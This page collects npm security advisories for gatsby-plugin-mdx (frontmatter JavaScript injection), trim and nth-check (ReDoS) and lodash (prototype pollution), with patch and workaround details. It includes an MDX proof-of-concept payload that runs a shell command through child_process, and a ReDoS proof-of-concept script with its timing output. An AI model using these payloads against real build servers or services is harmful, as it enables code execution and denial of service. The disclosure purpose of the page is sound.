Version Details and Security Vulnerabilities

Impact

The gatsby-plugin-mdx plugin prior to versions 3.15.2 and 2.14.1 passes input through to the gray-matter npm package, which is vulnerable to JavaScript injection in its default configuration, unless input is sanitized. The vulnerability is present when passing input in both webpack (MDX files in src/pages or MDX file imported as component in frontend / React code) and data mode (querying MDX nodes via GraphQL). Injected JavaScript executes in the context of the build server.

To exploit this vulnerability untrusted/unsanitized input would need to be sourced or added into an MDX file. The following MDX payload demonstrates a vulnerable configuration:

---js
((require("child_process")).execSync("id >> /tmp/rce"))
--- 

Patches

A patch has been introduced in gatsby-plugin-mdx@3.15.2 and gatsby-plugin-mdx@2.14.1 which mitigates the issue by disabling the gray-matter JavaScript Frontmatter engine. The patch introduces a new option, JSFrontmatterEngine which is set to false by default. When setting JSFrontmatterEngine to true, input passed to gatsby-plugin-mdx must be sanitized before processing to avoid a security risk. Warnings are displayed when enabling JSFrontmatterEngine to true or if it appears that the MDX input is attempting to use the Frontmatter engine.

Workarounds

If an older version of gatsby-plugin-mdx must be used, input passed into the plugin should be sanitized ahead of processing.

We encourage projects to upgrade to the latest major release branch for all Gatsby plugins to ensure the latest security updates and bug fixes are received in a timely manner.

Credits

We would like to thank Snyk [snyk.io] for initially bringing the issue to our attention, as well as Feng Xiao and Zhongfu Su, who reported the issue to Snyk.

For more information

Email us at security@gatsbyjs.com.

All versions of package trim lower than 0.0.3 are vulnerable to Regular Expression Denial of Service (ReDoS) via trim().

There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.

The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.

Proof of Concept

// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '2n' + ' '.repeat(i*10000)+"!";
    try {
        nthCheck.parse(attack_str) 
    }
    catch(err) {
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}

The Output

attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms

Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions pick, set, setWith, update, updateWith, and zipObjectDeep allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays.

This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.